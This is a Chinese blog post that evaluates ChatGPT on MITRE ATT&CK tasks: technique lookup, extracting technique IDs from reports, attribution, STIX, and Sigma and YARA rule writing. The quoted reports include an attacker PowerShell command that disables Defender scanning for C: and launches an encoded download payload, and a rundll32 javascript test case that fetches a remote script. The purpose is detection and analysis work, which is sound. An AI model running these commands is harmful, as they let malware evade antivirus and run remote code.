近期ChatGPT比较火,ChatGPT概念的股票也节节高涨,于是蹭个ChatGPT热点,来评估下在MITRE ATT&CK落地过程中,ChatGPT能发挥出怎么样的作用。
简单介绍下ChatGPT和MITRE ATT&CK:
ChatGPT:
是由OpenAI开发的一个人工智能聊天机器人程序,于2022年11月推出。该程序使用基于GPT-3.5架构的大型语言模型并通过强化学习进行训练。ChatGPT目前仍以文字方式互动,而除了可以透过人类自然对话方式进行交互,还可以用于相对复杂的语言工作,包括自动文本生成、自动问答、自动摘要等在内的多种任务。
OpenAI估值已涨至290亿美元。上线两个月后,用户数量达到1亿。
MITRE ATT&CK
全称是 Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK),它是一个站在攻击者的视角来描述攻击中各阶段用到的技术的模型。将已知攻击者行为转换为结构化列表,将这些已知的行为汇总成战术和技术,并通过几个矩阵以及结构化威胁信息表达式(STIX)、指标信息的可信自动化交换(TAXII)来表示。由于此列表相当全面地呈现了攻击者在攻击网络时所采用的行为,因此对于各种进攻性和防御性度量、表示和其他机制都非常有用。多用于模拟攻击、评估和提高防御能力、威胁情报提取和建模、威胁评估和分析。
本文主要从以下几个方面考察ChatGPT在MITRE ATT&CK落地过程中的应用能力:
基础能力:对MITRE ATT&CK技术点的认识;
威胁情报能力:根据文本提取ATT&CK ID;归因能力;
检测、评估能力:检测某ATT&CK技术点的能力;评估组织内对某攻击技术的防御能力。
模拟攻击能力:针对具体的ATT&CK ID,提供模拟攻击方案;
一、基础能力:
首先考察他是否认识某个ATT&CK技术点:
T1566.001是什么意思 |
T1566.001是一个来自于MITRE ATT&CK框架的术语,指的是"Phishing: Spearphishing Attachment"(钓鱼:定向钓鱼附件)。 这个术语描述了攻击者使用电子邮件或其他通信方式向特定的个人或组织发送含有恶意附件的信息的行为。这些附件可能是文档、PDF文件、压缩文件等,包含恶意软件,例如远程访问工具(RAT)、木马、勒索软件等,一旦被打开,就会感染受害者的计算机系统。 针对特定目标的钓鱼攻击通常比广泛的钓鱼攻击更具针对性和有效性,因为攻击者可以定制钓鱼邮件以使其看起来更加真实、诱人和可信,从而增加受害者打开附件的可能性。T1566.001是一个常见的攻击技术,许多安全组织都将其列为常见的网络攻击类型之一。 |
这个回答其实是很棒的。他并没有完全照抄MITRE ATT&CK官方文档中的对于T1566.001的说明:
他是用自己的语言进行了总结,并且还是翻译后的且翻译效果比google的机翻要好。可以很方便在SOC、EDR等产品中直接嵌入。
接着问他对于某个技术和ATT&CK的映射能力:
列举下跟powershell相关的ATT&CK |
以下是一些与PowerShell相关的MITRE ATT&CK技术:
这些技术仅仅是与PowerShell相关的MITRE ATT&CK技术的一部分。攻击者经常利用PowerShell来进行各种恶意活动,因此对PowerShell相关的攻击技术进行监控和检测至关重要。 |
这个回答也不错。基本列举出了powershell可以在哪些技术点中使用。
继续问他检测T1059.001需要的数据源:
在EDR上增加哪些数据源,可以检测T1059.001 |
T1059.001是指PowerShell脚本中的执行。要检测此技术,您可以考虑以下数据源:
通过这些数据源的综合使用,可以更好地检测到T1059.001技术的使用情况。 |
本以为他会学习MITRE ATT&CK文档里的DataSource数据源:
但是意外的是,他并没有采用,而是根据自己的理解来回答检测数据源的问题。
那针对该技术点的缓解措施呢?于是继续提问:
T1059.001的缓解措施有哪些 |
T1059.001是指利用PowerShell脚本执行恶意代码的攻击技术,为了缓解此攻击技术,可以采取以下措施:
综上所述,通过限制PowerShell的使用权限、应用程序控制、安装防病毒软件、加强系统日志监控、加强安全意识培训、实施代码审计和安全审计等措施,可以有效缓解T1059.001攻击技术的风险。 |
同样的,并未完全使用官方的缓解措施,很棒!
继续考察ATT&CK技术点和组织的关系。于是问它:
请列举下APT32组织所使用的ATT&CK |
APT32(又称OceanLotus)是一组来自越南的攻击者组织,他们使用多种高级持久性攻击策略和技术来攻击目标。以下是一些与APT32组织相关的MITRE ATT&CK技术:
这些技术只是APT32组织使用的MITRE ATT&CK技术的一部分,该组织经常使用新技术和工具来绕过防御并实现其攻击目的。对这些技术的了解和监控是保护组织免受APT32组织攻击的重要步骤。 |
这个其实对它没什么难度。还对APT32组织进行了解释。
不过,我更感兴趣的是反过来的能力,根据技术点映射组织。继续盘它:
哪些APT组织使用过T1574.002?并列举出他们具体的使用过程。 |
T1574.002是指“Hijack Execution Flow: DLL Side-Loading”,这个技术通常用于在受害者系统上执行恶意代码。以下是一些已知使用T1574.002的APT组织以及他们使用过程的具体细节:
需要注意的是,这些APT组织通常会使用多种技术进行攻击,T1574.002只是其中之一。因此,采取有效的安全措施来保护系统和数据仍然是至关重要的。 |
看看结果,依然稳。它首先解释了该技术点,然后列出了这些组织。还对组织进行了解释,并列举了相关的过程。
上面问题主要考察了ChatGPT对ATT&CK相关概念的理解程度,结果还是非常让人满意的。
二、威胁情报能力:
威胁情报能力主要体现在:
如何根据一段文字,准确的提取出对应的ATT&CK ID;
针对ATT&CK ID,进行简单的溯源和归因
机读情报
针对第一个问题,其实有过一些专门的机器学习的项目,如TRAM(https://github.com/mitre-attack/tram),看看ChatGPT能不能搞定。
而针对第二个问题,虽然根据某次攻击活动中使用的ATT&CK来进行归因是不科学的,也是不现实的。但是如果能辅助缩小一些范围还是非常有帮助的。
第三个问题,主要是考察能否把人读的情报用stix表示出来。
一个一个来盘它。
首先我们选取一篇文章:
Alert (AA22-320A):Iranian Government-Sponsored APT Actors Compromise Federal Network, Deploy Crypto Miner, Credential Harvester(https://www.cisa.gov/uscert/ncas/alerts/aa22-320a)
选取它的目的是该文章中就列出了具体的ATT&CK技术点:
请识别出下面这段文字中的所有ATT&CK技术点,并标注在原文后面的[]里: In February 2022, the threat actors exploited Log4Shell for initial access to the organization’s unpatched VMware Horizon server. As part of their initial exploitation, CISA observed a connection to known malicious IP address 182.54.217[.]2 lasting 17.6 seconds. The actors’ exploit payload ran the following PowerShell command [T1059.001] that added an exclusion rule to Windows Defender: powershell try{Add-MpPreference -ExclusionPath 'C:\'; Write-Host 'added-exclusion'} catch {Write-Host 'adding-exclusion-failed' }; powershell -enc "$BASE64 encoded payload to download next stage and execute it" The exclusion rule allowlisted the entire c:\drive, enabling threat actors to download tools to the c:\drive without virus scans. The exploit payload then downloaded mdeploy.text from 182.54.217[.]2/mdepoy.txt to C:\users\public\mde.ps1. When executed, mde.ps1 downloaded file.zip from 182.54.217[.]2 and removed mde.ps1 from the disk. |
以下是在文本中提到的ATT&CK技术点,并标注在原文后面的[]里:
|
它提取出了5个ATT&CK ID。有些遗憾,有几个技术点它并没有写上对应的ATT&CK ID,但是可以根据他的描述来推断出他提取的ATT&CK。
我们对照下它的结果和原文中标注的结果。
原文中标注的结果是:
T1190:the threat actors exploited Log4Shell [T1190] for initial access [TA0001] to the organization’s unpatched VMware Horizon server.
ChatGPT同样识别到了这句,但是它仅提取了战术:初始访问[TA0001] ,并未提取具体的技术。
事实上,多刷新几次,它的结果是会变的。某些结果会识别出这个ID:
T1059.001 :The actors’ exploit payload ran the following PowerShell command [T1059.001]
针对这个点,ChatGPT进行了准确的提取。
T1562.001:added an exclusion rule to Windows Defender。
这个点,ChatGPT并未识别到。
T1105:The exploit payload then downloaded mdeploy.text from 182.54.217[.]2/mdepoy.txt to C:\users\public\mde.ps1 .
这个点,ChatGPT也进行了准确的提取,不过未给出ID,稍微有点遗憾。
T1070.004:removed mde.ps1 from the disk
这个点同样也进行了准确的提取,但是同样未给出ID。
除了原文中标注的ATT&CK ID,他还额外的标注了一个原文中所没有的:
恶意IP地址 - 182.54.217[.]2是一个已知的恶意IP地址,与攻击者的连接持续了17.6秒。[CISA observed a connection to known malicious IP address 182.54.217[.]2 lasting 17.6 seconds.]
不过,这个笔者不知道它标注的是哪个ID。有知道的同行麻烦反馈给我,感谢。
虽然,但是。总体来说,笔者对ChatGPT的效果还是挺满意的。但是不禁要问,是不是因为原文中给出了标注,所以才提取的这么好?
于是,再次找了一篇未标注的文章段落让ChatGPT提取:
原文地址:https://www.mandiant.com/resources/blog/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation
请列出下面这段文字中使用的ATT&CK技术点ID,并在原文后的[]里标注出来: Throughout FireEye’s tracking of FIN7 campaigns, the attackers have attempted to stay ahead of the game and thwart detection, using novel tactics and displaying characteristics of a well-resourced operation. For example, in April 2017, FireEye blogged about FIN7’s spear phishing emails that leveraged hidden shortcut files (LNK files) to initiate the infection and VBScript functionality launched by mshta.exe to infect the victim. This was a direct departure from their established use of weaponized Office macros and highlighted the group’s adaptive nature to evade detection. FireEye also previously reported on FIN7’s use of the CARBANAK backdoor as a post-exploitation tool to cement their foothold in a network and maintain access to victim environments. CARBANAK is well known for its use in highly profitable and sophisticated attacks dating back to 2013, with usage attributable to FIN7 beginning in late 2015, although how interconnected the campaigns employing the malware over this five-year span are is unclear. FIN7’s use of CARBANAK is particularly notable due to their use of creative persistence mechanisms to launch the backdoor. The group leveraged an application shim database that injected a malicious in-memory patch into the Services Control Manager ("services.exe") process, and then spawned a CARBANAK backdoor process. FIN7 also used this tactic to install a payment card harvesting utility. Another notable characteristic of FIN7 has been their heavy use of digital certificates. Unsurprisingly, malicious threat actors have sought to exploit the legitimacy afforded by these certificates. By digitally signing their phishing documents, backdoors and later stage tools, FIN7 was able to bypass many security controls that may limit execution of macros from Office documents and restrict execution of unsigned binaries on trusted systems. |
|
它同样进行了提取。我们根据他的结果来进行分析:
T1192:是针对钓鱼的一个技术点。它进行了准确的提取。可是,这个ID已经被废弃,转而成为新的T1566.002。因此,虽然结果正确,但是数据有些老。
不过也可以理解,比较根据公开资料,它的学习数据是到2021年的。
T1059:是针对VBScript的一个技术点。不过它未标出子技术,更精确的应该是T1059.005
而针对后半句"VBScript functionality launched by mshta.exe",它未标注出mshta的利用,因此遗漏了T1218.005:Signed Binary Proxy Execution: Mshta
T1105:使用CARBANAK后门。T1105这个技术点是远程工具拷贝,是使用工具将工具或其他文件从外部系统传输到受感染的环境中。粗看起来没什么关系,但事实上CARBANAK后门具有传输文件的能力。因此笔者觉得这个标注没什么问题。
T1078:这个技术点同样针对CARBANAK这个后门。不过这个点的提取有点问题,文中的描述并未提到有效账户这个技术点。不过,笔者猜测,可能是CARBANAK后门跟CARBANAK组织同名,而CARBANAK组织有使用过T1078,因此造成了提取错误?
T1116:代码签名。提取准确,但是这个技术点在新版本中也已经废弃,改为T1553.002。
不过,还有2个技术点未提取到:
T1546.011:Event Triggered Execution: Application Shimming。[The group leveraged an application shim database that injected a malicious in-memory patch into the Services Control Manager ("services.exe") process]
T1137.001:Office Application Startup: Office Template Macros.[FIN7 was able to bypass many security controls that may limit execution of macros from Office documents and restrict execution of unsigned binaries on trusted systems.]
虽然存在数据未更新和遗漏的问题,但整体的效果还是挺不错的。
最后再试试中文文章的识别:
看看对中文的识别和提取能力如何。
请列出下面这段文字中使用的ATT&CK技术点ID: 2020年7月,瑞典计算机黑客Tillie Kottmann(非ATW成员)曾公开曝光泄露了微软、Adobe、联想、AMD、高通、联发科、通用电气、任天堂、迪士尼、华为海思等 50 家科技公司部分项目的源代码,该黑客曾被美国FBI调查,目前仍在指控中。根据FBI调查,黑客Tillie Kottmann利用的是SonarQube服务的配置失误窃取的相关公司源代码。SonarQube是一款开源代码质量管理的系统,被广泛的应用于相关企业的项目开发流程中,黑客先是扫描了暴露于公网上的SonarQube资产,它们通常默认使用9000端口,再利用预设的管理员账户(如用户名为admin,密码也是admin)登录来窃取源代码。 |
以下是在文本中提到的ATT&CK技术点ID:
|
基本准确。不过从文中并未读出使用了T1219:远程访问工具(RATs)。
接下来,我们来看看归因。
针对但技术ID,上面基础能力测试中,ChatGPT已经给出了很满意的结论。那么针对多ID组合,还能否识别出?
选取某BITTER的报告进行提问:
原文:https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/offshore%20APT%20organization/Bitter/27-08-19/Malware%20analysis%2031-08-19.md
某次攻击活动,使用了T1203、T1060、T1012、T1105技术,请问可能是哪个攻击组织的攻击活动? |
T1203、T1060、T1012、T1105是MITRE ATT&CK框架中的四种攻击技术,用于描述攻击者在攻击过程中可能使用的不同技术手段。然而,这些技术手段并不能准确地确定是哪个攻击组织进行的攻击活动。 攻击组织的攻击活动通常具有多样性和复杂性,可能会使用多种攻击技术和手段,MITRE ATT&CK框架中描述的技术手段可能会被多个攻击组织所使用。 因此,如果只知道攻击使用了T1203、T1060、T1012、T1105等攻击技术,无法准确判断是哪个攻击组织发动的攻击活动。需要进一步分析攻击活动的其他特征和证据,才能进行更准确的判断。 |
针对这个问题,ChatGPT并未给出相关的结论。不过正如笔者上面所说,根据ATT&CK ID来进行归因并不科学。而ChatGPT也给出了同样的建议:
因此,如果只知道攻击使用了T1203、T1060、T1012、T1105等攻击技术,无法准确判断是哪个攻击组织发动的攻击活动。需要进一步分析攻击活动的其他特征和证据,才能进行更准确的判断。
最后来看机读情报:
针对APT32组织的TTPs,请用stix2.1进行描述 |
以下是一个使用STIX 2.1协议描述APT32组织的TTPs的示例:
在上面的示例中,我们描述了APT32组织使用的一些常见TTPs,包括“Spearphishing Attachment”攻击战术,使用的“OceanLotus”后门恶意软件和“Mimikatz”凭证转储工具。我们还指定了每个TTP与MITRE ATT&CK中定义的攻击链的不同阶段。 |
三、检测、评估能力
考察如何检测某个技术点,以及写规则的能力:
针对技术点的检测方案和数据源,基础测试里已经给出了解答。下面主要考察下写规则能力:
请给下面的T1218.011的测试案例编写对于的sigma规则: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:#{file_url}").Exec();window.close(); |
以下是针对T1218.011测试案例的一个可能的sigma规则:
这个sigma规则的目的是检测使用T1218.011技术执行的攻击。规则匹配的条件是进程命令行中包含rundll32.exe、javascript和mshtml,并且字符串中包含指定的文件URL变量。如果规则匹配,输出将包括标题、描述、标签和级别信息。 |
编的还可以。
继续测试下yara规则:
请举例一个检测T1027.002的yara规则 |
下面是一个简单的 YARA 规则示例,可用于检测使用 UPX 工具进行压缩的可执行文件,即可能被用于软件包装攻击:
在这个规则中,使用了 YARA 的字符串匹配功能,搜索文件前 4096 字节内是否包含 "UPX" 字符串,如果包含则认为该文件可能被压缩或加密。如果您想更准确地检测软件包装攻击,可以添加更多的字符串或其他特征。值得注意的是,这只是一个简单的示例规则,实际应用中需要根据具体情况进行修改和优化。 |
这规则虽然谈不上错误,但是也着实太过于简单了。
再来一次:
请举例一个检测T1027.002的yara规则 |
下面是另一个可以用于检测软件包装(T1027.002)的 YARA 规则示例,使用的是更全面的字符串特征匹配:
在这个规则中,使用了三个字符串特征。第一个字符串特征 $packed 表示文件是否包含了 "Packed by:",这是一些软件包装工具在压缩文件时会添加的字符串。第二个字符串特征 $packer 表示文件是否包含了常见的软件包装工具(如 UPX)的标识符。第三个字符串特征 $entropy 是一个十六进制字节序列,表示了一个特定的文件熵值计算公式,可以用于检测文件是否具有异常的熵值,是另一种检测软件包装的方式。 这个规则包含了多个条件,并使用了 any of them 表示只要有一个条件匹配成功即可触发规则。需要注意的是,这个规则可能存在一定的误报率,因为某些合法的软件也可能包含这些特征。因此,实际使用中需要根据具体情况进行优化和调整。 |
总算是看起来像我心目应该是的yara规则的样子。
不过仔细看,还是有错误。
1)条件是any of them,那意味着这规则跟刚才的没啥区别,甚至还不如。上一个回答里的规则至少把"UPX"的字符串限定在前4096字节里。
2)即便把any of them修改成all of them呢?需要验证下它的那个二进制串的准确性:
这段二进制,把通配都修改为00,看看代码长啥样:
然后再随便找一个upx的文件,没找到。印象中UPX也没有这样的代码。
因此,看似不错的yara规则还是存在不少的问题。离实战还有一段距离。
最后,再来看下怎么评估某个攻击继续的防御能力:
怎么使用ATT&CK来评估组织内的防攻击链攻击的能力?请举例。 |
以下是一个使用MITRE ATT&CK框架来评估组织内的防御链攻击能力的示例:
综上所述,通过使用MITRE ATT&CK框架评估组织的防御链攻击能力,我们可以识别组织中可能需要加强的区域,并制定相应的安全措施来提高组织的防御能力。 |
这里没什么好说的,都是各种套话。。。
四、模拟攻击能力
针对某技术的测试用例:
请列举两个具体的T1489的测试用例 |
T1489是指“服务停止”,这个技术通常与攻击者试图停止或禁用特定的服务相关联。以下是两个具体的T1489测试用例:
需要注意的是,这些测试用例应该仅用于在授权的环境中进行安全测试和验证,以确保组织的安全措施能够防止类似的攻击。在未经授权的情况下使用这些测试用例可能会违反法律。 |
虽然给出的例子比较简单,但也确实是测试用例。并且给出了不同系统的。
那么针对某个组织的模拟攻击呢?
某企业要使用Fin7组织进行模拟攻击演习,请根据TTPs设计一个根据ATT&CK的模拟攻击的过程方案。 |
针对某企业要使用Fin7组织进行模拟攻击演习,可以根据MITRE ATT&CK框架的TTPs(战术、技术和过程)来设计一个攻击方案,下面是一个基本的方案,供参考:
需要注意的是,在进行模拟攻击演习时,一定要遵守法律法规,不得对真实系统和数据进行攻击,以免对真实环境造成不必要的损失和风险。 |
虽然也是套话多,不过也没什么大问题。
结论:
ChatGPT由于使用的学习数据到2021年,因此存在一定的局限性。如ATT&CK ID的更新;
虽然ChatGPT不是专业的ATT&CK工具,但是在很多场景可以替代ATT&CK的专业工具,并且效果还不差。如针对一段文字中的ATT&CK的提取;
可以把ChatGPT集成到SOC/SIEM等平台里,在某些场景辅助运营人员进行安全运营,如对ATT&CK技术点的解释和翻译,日志和报告中提取ATT&CK;生成自己的威胁情报;简单规则的提取等。
看似丰富的ATT&CK回答中,其实还存在很多错误。因此利用的时候,需要仔细甄别。
最后还是得说一句,ChatGPT,真的666啊。